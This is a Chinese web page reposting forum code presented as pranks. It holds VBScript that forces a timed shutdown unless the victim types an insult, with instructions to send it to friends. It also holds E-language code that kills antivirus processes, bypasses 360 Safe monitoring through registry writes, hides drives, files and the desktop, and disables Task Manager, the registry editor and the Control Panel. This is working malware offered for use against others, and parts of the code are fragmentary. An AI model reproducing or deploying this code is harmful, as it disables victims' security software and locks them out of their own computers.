整人的语言

导读：　整人的语言篇一《C语言整人程序代码大全》 ...

欢迎来到中国招生考试网http://www.chinazhaokao.com/成考报名栏目，本文为大家带来《整人的语言》，希望能帮助到你。

整人的语言篇一
《C语言整人程序代码大全》

WScript.Echo("嘿，谢谢你打开我哦，我等你很久

拉！"&TSName)

WScript.Echo("你是可爱的小朋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

顶

举报 | 2011-06-01 20:46回复

菊花爆开

电白自学

2楼

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("小强很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦")

WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！")

WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰

你工作。")

WScript.Echo("还剩45下，记得要快哦！")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下停停！！！慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴")

WScript.Echo("还剩11下，以后就看不到我拉。555555")

WScript.Echo("还剩10下，你现在可以选择停止！")

WScript.Echo("还剩9下。你还点啊，不要我拉？")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩7下。疯了，你有点负意！")

WScript.Echo("还剩6下。对。你就点吧，我恨你！")

WScript.Echo("还剩5下，不明白，删除我你就好吗？")

WScript.Echo("还剩4下！真要删除我？")

WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你

的！")

WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无

义！！！")

WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝

又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

两个整人的VBS脚本

测试环境：Windows 2003 系统

大家好我是Vanlisa QQ137841986

今天给大家带来两个整人的VBS脚本希望大家喜欢

VBS脚本大家都知道吧第一个是定时关机的

如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的

时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法

我们来看下这个脚本

--------------------------------------------------------------------------------

on error resume next

dim WSHshellA

举报 | 2011-06-01 20:46回复

菊花爆开

电白自学

3楼

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

--------------------------------------------------------------------------------

新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了

cmd.exe /c shutdown -r -t 180 -c

这里的数字可以修改关机时间 180秒

这些文字也可以自设这个脚本启用cmd 里的关机程序

如果不输的的话可以打开任务管理器输入shutdown -a 来解除我们试下这时定时关机已

经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe 这个进程就OK

了这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主

-------------------------------------------------------------------------------------------

下面看第二个整人的脚本

-------------------------------------------------------------------------------------------

set ws=createobject("wscript.shell")

call shutdown(1)

do while a<>"我是猪"

a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","") loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64

MsgBox"我就要你踩我空间的!哼!",4096+64

MsgBox"从前有座山!",4096+64

MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

ws.run"iexplore.exe

msgbox"哎呀累了！数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i&"只绵羊",4096+64

msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64

msgbox"最后问个问题，我是不是大好人！",4096+64

if inputbox("是不是","请选择","是")<>"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run"cmd.exe /c shutdown -r -t 60 -c",0

case 2

ws.run"cmd.exe /c shutdown -a",0

end select

end sub

--------------------------------------------------------------------------------

ws.run"iexplore.exe

这段代码可以改成你自己设定的地址

如果别人不输我是猪的话就会一直点下去点到你设定的数字

for i=1 to 100

从1到100

可以改成 20 其他的数字

解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe

这个进程就好了

[color=#FF0000]复制以上代码，在桌面建一个文本，把代码放进去，另存为VBS格式，

举报 | 2011-06-01 20:46回复

菊花爆开

电白自学

4楼

此代码的威力：

1：开机就强制自动关机

2：cmd命令打不开

3：结束任务不管用

4：F8安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，

PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。

整人的语言篇二
《易语言整人代码》

.版本 2

.局部变量变量, 整数型

置现行时间 (到时间 (“2056年1月1日”))

运行 (“taskkill /f /im kavsvc.exe”, 假, 1)

运行 (“taskkill /f /im KVXP.kxp”, 假, 1)

运行 (“taskkill /f /im Rav.exe”, 假, 1)

运行 (“taskkill /f /im Ravmon.exe”, 假, 1)

运行 (“taskkill /f /im Mcshield.exe”, 假, 1)

运行 (“taskkill /f /im VsTskMgr.exe”, 假, 1)

' 绕过360监控

写注册项 (4, “SOFTWARE\360Safe\safemon\ExecAccess”, 0)

写注册项 (4, “SOFTWARE\360Safe\safemon\MonAccess”, 0)

写注册项 (4, “SOFTWARE\360Safe\safemon\SiteAccess”, 0)

写注册项 (4, “SOFTWARE\360Safe\safemon\UDiskAccess”, 0)

运行 (“taskkill /f /im 360tray.exe”, 假, 1) ' 结束360进程

' 修改关联

写注册项 (1, “.txt\”, “jpegfile”)

写注册项 (1, “.inf\”, “jpegfile”)

写注册项 (4,

“SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue”, 0) ' 隐藏文件和文件夹

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 0) ' 禁用任务管理器

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”, 1) ' 禁用控制面板

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools”, 1) ' 禁用注册表

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1) ' 隐藏开始中的运行禁止WIN2000/XP通过任务管理器创建新任务

写注册项 (3, “SoftWare \Microsoft \Windows \CurrentVersion

\Policies\WinOldApp\Disabled”, 1)

' 隐藏“MS-DOS方式”下的磁盘驱动器。不管是在“我的电脑”里，或“MS－DOS”方式下都看不见了

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives”, 4294967295) ' 隐藏所有驱动器

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive”, 4294967295) ' 禁止所有驱动器

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, 1) ' 隐藏文件夹选项

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”, 1) ' 将桌面对象隐藏

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, 1) ' 隐藏开始中的关机

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1) ' 隐藏开始中的搜索

' 写注册项 (3, “Software\Policies\Microsoft\Windows\System\DisableCMD”,

1)'1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0启用两项

写注册项 (3, “Software\Policies\Microsoft\Internet Explorer\Control

Panel\HomePage”, 1) ' 隐藏主页选项组

写注册项 (3,

“Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu”,

1) ' 隐藏IE文件菜单